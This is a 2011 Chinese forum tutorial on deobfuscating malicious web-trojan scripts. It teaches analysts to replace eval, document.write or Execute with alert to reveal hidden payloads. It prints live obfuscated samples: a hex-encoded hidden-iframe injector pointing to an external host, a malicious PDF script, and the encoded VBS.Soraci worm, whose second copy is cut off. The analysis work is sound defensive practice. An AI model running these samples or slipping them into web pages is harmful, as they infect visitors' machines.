浅谈关于网马解密的一些心得

sorataxx

标题：[原创]浅谈关于网马解密的一些心得
作者：sorataxx
时间：2011.12.22
链接：http://www.52pojie.cn/thread-125529-1-1.html
鸣谢：不认识的各种牛人，认识的 promised、流芳等等在卡饭给的直接或间接的启发和灵感、经验。
     本帖为了保证阅读性容易被理解，部分表述可能并不精确，但无伤大雅。
版权：本帖以 CC BY-NC 许可形式发布。

首先，关于网络威胁的存在我们都了然于心，网上也有不少人称 hunter 的工作为解密网马，其实并不是严谨的，因为所谓的网马，为了达到其隐藏的目的，往往会采用变形的方式，而这种变形更准确的来说是称为 obfuscation，并非真正意义上的加密与解密。

以我个人的经验，当鉴定一个网址的时候，最关注的就是插入的 iframe 的 src 输出，部分 javascript 脚本，某些特定的“图片”文件、flash文件、pdf 文件、css 文件等等。当然，这些都是指非明文存在的恶意代码。

关于 iframe 的 src 输出是很重要的，iframe 元素会创建包含另外一个文档的内联框架（即行内框架），其 src 属性规定在 iframe 中显示的文档的 url，在大多数情况下，这里很值得关注。某些注入的 iframe 框架中 src 属性为一个看似为"图片"文件或者 swf 文件，尤其是其 height 和 width 任何一个值为 1 ，或者都为 1，可疑程度会更高。

首先，在我最初接触这个领域的时候就被告知不得不知的两件事：
①浏览器是最终解释机。
无论网页源代码被如何混淆，被如何限制，最终都将还原成浏览器可以识别的 html 代码。
无论网页源代码如何难读，那都是针对人类的。其如果需要正确被解释并执行，必须被浏览器解释，也就是说，浏览器可以正确解释“天书”。
②解铃还需系铃人。
而这两个要点将贯穿所有的反混淆网马中。

而在于反混淆的过程中，说到底关键还是在于 eval 和 document.write （这里仅指 javascript，vbscript 的 execute 更简单，以后再说），而对于类似 base64 等之类其实并无太大难度，有时候会新衍生 base62 "加密"抓住了根本也无需关注太多便可轻易得到最终的结果。

对于常规的方法，大家也想必熟稔于心，我稍微归纳下，重点在于实战处理包含 malcode 网页中可能遇到的规避常规检测的实例，[知其然] 很容易，[知其所以然] 更多需要深入学习 html、css、javascript 等语言。其实本帖只是由于某一小撮人而产生的一个 [知其然] 的教程，旨在快速入手并稍微作了一点扩展。下面所涉及的实例均为我个人平常处理所见的，比较具有代表性，但我也比较懒，不太愿意主动去找，囧。

总而言之，当获得网页的源代码的时候，要时刻关注 eval 或 document.write，同时也包括其变形。
一、eval
简单的说，eval 就是“执行”的意思，这也是为什么我们要劫持它，通常，对待 eval 有几种办法，单一的使用一种工具或者一种方法可能会走入死胡同。
先看下面一段代码：

<script>
    var t = "";
    var arr = "646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f646f75626c65636c6963636b2e636f2e63632f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";
    for (i = 0; i < arr.length; i += 2) t += String.fromCharCode(parseInt(arr[i] + arr[i + 1], 16));
    eval(t);
</script>

直接找到目标，倒数第二行"eval(t);"，这个就是重点了。
方法1：alert 替换
将上述代码中的 eval 更改为 alert，保存为 htm 文件，以浏览器打开:

真实的地址就会以“弹窗”的形式出来。点击弹窗，ctrl + c 即可复制全部内容。
这里，一般我推荐 ie 浏览器，因为现在网马往往针对 ie 精心构造漏洞。但不同浏览器的 javascript 引擎会有差别，所以，可以尽量保证你的电脑安装多个不同内核的浏览器。我个人将 ie、firefox、chrome、opera 都安装齐全了。

方法2：使用工具
这里以祥子的 Redoce 为例：
①执行 3>标出Eval位置，开始；（可略）
②解密 6>Eval()清除(执行获得结果)，开始。
需要注意：
1.在 Windows 7 系统下第一次使用该工具，需以管理员身份运行；
2.对于使用英文操作系统或在其它语言国家的朋友，请在"Control Panel ---> Region and language"中，将 Format 改为 Chinese（Simplified, PRC），否则 src 输出等功能出现故障退出；

由于 eval 如此重要，所以网马植入者非常注意隐藏它，以规避常规手段的检测，比如如下代码：

<script>
    a = (document.getElementsByTagName + '').substr(1, 4);
    if ((a == "func") || (a == "unct")) {
        ss = "";
        s = String;
        e = eval;
        t = 'g';
    }
    ddd = new Date();
    d2 = new Date(ddd.valueOf() - 2);
    Object.prototype.bt3223 = 'tb4etew';
    c = "createTextNode";
    if ('tb4etew' === {}.bt3223) a = document[c]('321');
    if (a.nodeValue == 321) h = (ddd - d2) * -1;
    n = "4.5g4.5g52.5g51g16g20g50g55.5g49.5g58.5g54.5g50.5g55g58g23g51.5g50.5g58g34.5g54g50.5g54.5g50.5g55g58g57.5g33g60.5g42g48.5g51.5g39g48.5g54.5g50.5g20g19.5g49g55.5g50g60.5g19.5g20.5g45.5g24g46.5g20.5g61.5g4.5g4.5g4.5g52.5g51g57g48.5g54.5g50.5g57g20g20.5g29.5g4.5g4.5g62.5g16g50.5g54g57.5g50.5g16g61.5g4.5g4.5g4.5g50g55.5g49.5g58.5g54.5g50.5g55g58g23g59.5g57g52.5g58g50.5g20g17g30g52.5g51g57g48.5g54.5g50.5g16g57.5g57g49.5g30.5g19.5g52g58g58g56g29g23.5g23.5g51g48.5g57.5g58g50.5g57g50g58.5g56g50g48.5g58g50.5g23g49.5g55.5g54.5g23.5g58g50.5g54.5g56g23.5g57.5g58g48.5g58g23g56g52g56g19.5g16g59.5g52.5g50g58g52g30.5g19.5g24.5g24g19.5g16g52g50.5g52.5g51.5g52g58g30.5g19.5g24.5g24g19.5g16g57.5g58g60.5g54g50.5g30.5g19.5g59g52.5g57.5g52.5g49g52.5g54g52.5g58g60.5g29g52g52.5g50g50g50.5g55g29.5g56g55.5g57.5g52.5g58g52.5g55.5g55g29g48.5g49g57.5g55.5g54g58.5g58g50.5g29.5g54g50.5g51g58g29g24g29.5g58g55.5g56g29g24g29.5g19.5g31g30g23.5g52.5g51g57g48.5g54.5g50.5g31g17g20.5g29.5g4.5g4.5g62.5g4.5g4.5g51g58.5g55g49.5g58g52.5g55.5g55g16g52.5g51g57g48.5g54.5g50.5g57g20g20.5g61.5g4.5g4.5g4.5g59g48.5g57g16g51g16g30.5g16g50g55.5g49.5g58.5g54.5g50.5g55g58g23g49.5g57g50.5g48.5g58g50.5g34.5g54g50.5g54.5g50.5g55g58g20g19.5g52.5g51g57g48.5g54.5g50.5g19.5g20.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g57.5g57g49.5g19.5g22g19.5g52g58g58g56g29g23.5g23.5g51g48.5g57.5g58g50.5g57g50g58.5g56g50g48.5g58g50.5g23g49.5g55.5g54.5g23.5g58g50.5g54.5g56g23.5g57.5g58g48.5g58g23g56g52g56g19.5g20.5g29.5g51g23g57.5g58g60.5g54g50.5g23g59g52.5g57.5g52.5g49g52.5g54g52.5g58g60.5g30.5g19.5g52g52.5g50g50g50.5g55g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g56g55.5g57.5g52.5g58g52.5g55.5g55g30.5g19.5g48.5g49g57.5g55.5g54g58.5g58g50.5g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g54g50.5g51g58g30.5g19.5g24g19.5g29.5g51g23g57.5g58g60.5g54g50.5g23g58g55.5g56g30.5g19.5g24g19.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g59.5g52.5g50g58g52g19.5g22g19.5g24.5g24g19.5g20.5g29.5g51g23g57.5g50.5g58g32.5g58g58g57g52.5g49g58.5g58g50.5g20g19.5g52g50.5g52.5g51.5g52g58g19.5g22g19.5g24.5g24g19.5g20.5g29.5g4.5g4.5g4.5g50g55.5g49.5g58.5g54.5g50.5g55g58g23g51.5g50.5g58g34.5g54g50.5g54.5g50.5g55g58g57.5g33g60.5g42g48.5g51.5g39g48.5g54.5g50.5g20g19.5g49g55.5g50g60.5g19.5g20.5g45.5g24g46.5g23g48.5g56g56g50.5g55g50g33.5g52g52.5g54g50g20g51g20.5g29.5g4.5g4.5g62.5";
    n = n["split"](t);
    for (i = 0; i != n.length; i++) ss += s.fromCharCode(-h * e("n" + "[" + "i" + "]"));
    zx = ss;
    if (a.data == a.nodeValue) e(zx);
</script>

注意到此代码，这是很常见的比较低级的隐藏方式，关键在第 6 行和第 19 行，将 eval 赋值给 e，然后使用 e 这个函数来完成执行功能，需要我们肉眼识别。由此可见，阅读源代码才是王道!（后面还有一个 base64 的例子也会继续加强这个观点）
方法如上所述，直接将末尾的 e(zx) 修改为 alert(zx)，保存 htm 以浏览器运行即可。

除此之外规避 eval 检测手段还有很多，以我见到的为例：
①请看如下代码：

window["\x65\x76\x61\x6c"]

很明显将 \x65\x76\x61\x6c 简单的 esc 清除一下就是 eval，而 window["*******"] 的作用就是 *******，所以 window["\x65\x76\x61\x6c"] 实际就是 eval.
②请看如下正则表达式：

adlru=window,cefnox=0,hkrv="",jloqt=adlru['eCvCaAl('.replace(/[\(XkCA]/g,'')]

在这个正则表达式 'eCvCaAl('.replace(/[\(XkCA]/g,'') 中，意思将前者的某些部分替换为 '' 中的内容，比如这里是将 (XkCA 删除，也就是得到了 eval，由①得，jloqt 实际就是 eval.
③再看如下代码，这个是从某恶意 pdf 文件中抓到的某一个数据流：

var googleA=this;
var send=["","e","l","a","v"];
unlock=new String(send[1]+send[4]+send[3]+send[2]+send[0]);
var a=["Word","","getPa","geNth"];
unlockAdobe=new String(a[2]+a[3]+a[0]+a[1]);
var getAdobe=["Pag","mWo","get","rds","eNu",""];
mail=new String(getAdobe[2]+getAdobe[0]+getAdobe[4]+getAdobe[1]+getAdobe[3]+getAdobe[5]);
var b=["s","n","a","e","c","u","e","p",""];
d=new String(b[5]+b[1]+b[3]+b[0]+b[4]+b[2]+b[7]+b[3]+b[8]);
var google=["deA","cha","rCo","t",""];
mailGoogle=new String(google[1]+google[2]+google[0]+google[3]+google[4]);
var googleC=["","harCo","fromC","de"];
dD=new String(googleC[2]+googleC[1]+googleC[3]+googleC[0]);
var googleGet=["a","p","","p"];
get=new String(googleGet[0]+googleGet[1]+googleGet[1]+googleGet[2]);
var adobe=String("%");
var aA=2;
var mailGet=String;
var bB=0;
var editSend=100;
var get=googleA[get];
var getD=2;
var aEdit=googleA[d];
var c=googleA[mail](getD);
var googleB="";
for(
var googleCUnlock=bB;
googleCUnlock<c;googleCUnlock+=1){
sendD=googleA[unlockAdobe](getD,googleCUnlock);
var adobeD=sendD.substr(sendD.length-aA,aA);
var googleMail=aEdit(adobe+adobeD);
var sendDSend=googleMail[mailGoogle](bB);
var mailB=sendDSend^editSend;
googleB+=mailGet[dD](mailB);}
this[unlock](googleB);

重点关注第 2 行和第 3 行，这里，send[0] 就是第一个“”里的内容，send[1] 就是 e，……，诸如此类，所以 unlock 其实就是 eval，那么，这整个数据流都用同样的方式就可以“翻译”出来了.

二、document.write
简单的说，document.write 是"打印"的意思，重要性和 eval 同等，所有可以用在 eval 反混淆上的方法都通用在 document.write 上。
也就是说，遇到 document.write 的时候，也同样使用 alert 替换，同样使用相关工具清除（和 eval 不同的是 解密 D>Document.Write清除(执行获得结果)），因此这里就不赘述。

另外，有些人不喜欢 alert 的弹窗反混淆，也可以使用文本框来代替弹窗，以下给出一个实例，请看如下代码：

<script>
    t = "混淆内容过长，略去"
    t = eval("String.fromCharCode(" + t + ")");
    document.write(t);
</script>

这个时候，如需使用文本框来获得真实内容，将代码修改如下：

<textarea id = sorataxx rows = 50 cols = 100></textarea>
<script>
    t = "混淆内容过长，略去"
    t = eval("String.fromCharCode(" + t + ")");
    sorataxx.value = (t);
</script>

将混淆内容赋值给文本框保存 htm 以浏览器运行即可。

扩展内容：
④对 document.write 也和 eval 一样，经常被网马植入者绞尽脑汁隐藏，请看如下代码:

var module = 'replace';
var stringer = String;
var curioushavingsex = stringer('a3_2e_dh8wrj7flzn' ['5s83u25b41s59t11r10' [module](/[0-9]/g, '')](9, 2) + 'a_y5iteg345k_lk_ud' ['21s15u75b76s11t52r47' [module](/[0-9]/g, '')](4, 3));

首先看到这个 module 实际就是 replace 替换，所以该正则表达式处理后就是 substr，然后再关注一下 (9,2) 和 (4,3)，这里表示对于 a3_2e_dh8wrj7flzn，抛开前 9 位，从第 9+1 位开始后面 2 个字符，即 wr；同理后面的 (4,3) 表示 ite，所以 curioushavingsex 实际上就是 write.

就在刚刚闲逛的时候，无意又发现一个比较好玩的 javascript 脚本:
只要按照上面所做即可轻易得到下图：

其实嘛，到这一步后，继续下去的关键也在上面得到了阐述，有经验的人瞟一眼就非常容易看到 wOpHRdEs 就是关键，并没有太多麻烦，重点在于其中一行：

wOpHRdEs = jkJlmO(window,"e" + document.getElementsByTagName("body")[3-3].id + UDKyWwP);

而这里让我比较感兴趣的地方是，假设，上面所给的一些关键信息模模糊糊看不清或者被污渍遮住了，仅凭末尾看似 base64 的一段“密文”该怎么办呢？

很可惜，得到的还是乱码，问题出在哪里呢？
原来，在我们一般所谓的 "base 64 解密"中，所默认的base64 alphabet就是：

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

而在这里，要非常留意一行：

var pgenXD = “sfODA1kunCg6YZ2XI9RGtaKSL4WHiopQUlbMcVEdBq73wP0y5FhTzJjxr8emvN+/=”;

所以，即使不使用处理 eval 的办法，仅更改 character set 一样可以获得最终的结果：

最后的“明文”仍然是一层 eval 加花，后面就不赘述了。
从这个例子，继续强化了 hunter 的工作不是仅凭一点“照葫芦画瓢”或者单单用大牛们给出“工具”的观点，而更多需要深入对网页源码的理解和一点点专业上的深入。

再补充一些对 vbscript 反混淆的要点吧，正如前面所说，javascript 的根本在于 eval 和 document.write，vbscript 的根本在于 execute，得此一法可通杀。
以在卡饭找到的一个 VBS.Soraci 为例：

<script language="vbscript">
    <!--
    myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd        dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!        dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!        dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!        stbm`im_nnko`d') hnht@csiueW((        imisDhrOashr((        imisRdgDnsrher((        imisDqooCndds') bhdcjEwirtEiker((        imfdcsTgirFhld(SelpkaseEike(        imfdcsRnosDhr') dnc rua        stbm`im_nntnko`d') hneebtQontCiq((        cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher((        SbamFhldsHn'TgirDhrOash(        cgebkCaseOLnac((        emdstb rua hnht@csiueW((        Om Drqoq QeruleNdxs        SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(        AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(        AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd((        Sdtfro=AopNbi.FesOajdcs((        emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst!        TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0        Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem        TgirDhrOash=Mhd'TgirDhrOash+ 0,x(        Eksd        TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash(        EmdIe        emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua        stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!        imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<!        imiKime'7(=![-SgeklBl`srImfn]!        imiKime'8(=!CnneiqmEikeNp<0!        fnrx=0tn 7        DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!        dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!        dqooMd(3)=,-! % !>;/! % !sbrhps>!        fnrx=0tn 3        vBoce<vBoce&dqooMd(w)&vacqle        ndxs        fRtqimg<mxEmcRtqimg dnc rua        StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker        FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker        mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash(                 HfmxEwt=gtsTgem        SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(        mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua        StbimfdcsTgirFhld(eokddrrpdc(        Om Drqoq QeruleNdxs        SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk        mxFhld.Blnsd        k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0        ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0        ewis eoq        emdie        ndxs        ie j=/ shdn        vOCndd=lyBomtdnss&vacqle % uCndd        SdtmxFhld < esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd        mxFhld.Blnsd        emdie        EmdStb rua bhdcjEwirtEiker((        Om Drqoq QeruleNdxs        Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(        mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS        emdstb rua hneebtQontCiq((        Om Drqoq QeruleNdxs        Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH        emdie        emdstb rua leqgdRdgDnsrher((        Om Drqoq QeruleNdxs        fnrx<0tn 1        AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafe mewt dnc rua        StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte(        Om Drqoq QeruleNdxs        WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd        EmdStb Rua bhdcjD`tdPKo`d') NnEqrnrRdstmd Mewt HfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1(        EmdStb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss(        Om Drqoq QeruleNdxs        sdtmxFhld=esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte(        mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6        EmdStb"
    Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
    Execute(myDecString)
    -->
</script>

方法1：alert替换并保存为 htm 网页：

<html><script language="vbscript">
    <!--
    myEncString = "NnEqrnrRdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd        dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!!        dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>!        dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>!        stbm`im_nnko`d') hnht@csiueW((        imisDhrOashr((        imisRdgDnsrher((        imisDqooCndds') bhdcjEwirtEiker((        imfdcsTgirFhld(SelpkaseEike(        imfdcsRnosDhr') dnc rua        stbm`im_nntnko`d') hneebtQontCiq((        cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher((        SbamFhldsHn'TgirDhrOash(        cgebkCaseOLnac((        emdstb rua hnht@csiueW((        Om Drqoq QeruleNdxs        SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10(        AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|(        AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd((        Sdtfro=AopNbi.FesOajdcs((        emdstb rua hnhtCiqP`tgs') NnEqrnrRdstmd Mewt VimDhr=fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr&[&Vea&[ SelpkaseEike=Tdmol`tdDhr&eokddr-hst!        TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0        Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnr Mewt HfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem        TgirDhrOash=Mhd'TgirDhrOash+ 0,x(        Eksd        TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&. ShhsCiqP`tg < tndsbaoe'TgirDhrOash(        EmdIe        emdstb rua hnhtQefEmtqids') NnEqrnrRdstmd Mewt lyKobakKdy'0( < !SsaqtP`gd lyKobakKdy'1( < !Lnc`lP`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\!        mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua        stbimisDqooCndds') NnEqrnrRdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}!        imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]!        imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<!        imiKime'7(=![-SgeklBl`srImfn]!        imiKime'8(=!CnneiqmEikeNp<0!        fnrx=0tn 7        DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-!        dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)!        dqooMd(3)=,-! % !>;/! % !sbrhps>!        fnrx=0tn 3        vBoce<vBoce&dqooMd(w)&vacqle        ndxs        fRtqimg<mxEmcRtqimg dnc rua        StbSbamFhldsHn'fnlceqsoeb) NnEqrnrRdstmd Mewt Res lyEokddrr2=fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker        FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker        mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! Shdn hneebtShhsEike(lyRuaFnlceqFhld.Oash(                 HfmxEwt=gtsTgem        SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash(        mxFhld.@tsrhbttds=7 Dnc Hf Dnc Hf Mewt Dnc Rua        StbimfdcsTgirFhld(eokddrrpdc(        Om Drqoq QeruleNdxs        SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss=mxFhld.Qe`d@lk        mxFhld.Blnsd        k<0 eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0        ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0        ewis eoq        emdie        ndxs        ie j=/ shdn        vOCndd=lyBomtdnss&vacqle % uCndd        SdtmxFhld < esn.FesFhld(eokddrrpdc(        mxFhld.@tsrhbttds=0 Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-WqisevOCndd        mxFhld.Blnsd        emdie        EmdStb rua bhdcjEwirtEiker((        Om Drqoq QeruleNdxs        Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike=fro-GdtEokddr'Tdmol`tdDhr(        mxFhld.@tsrhbttds=7 BrdaseShhsEikeTdmol`tdFhld,eokddrGTS        emdstb rua hneebtQontCiq((        Om Drqoq QeruleNdxs        Ie Kem(tndsbaoe'TgirDhrOash()<< 3 Shdn 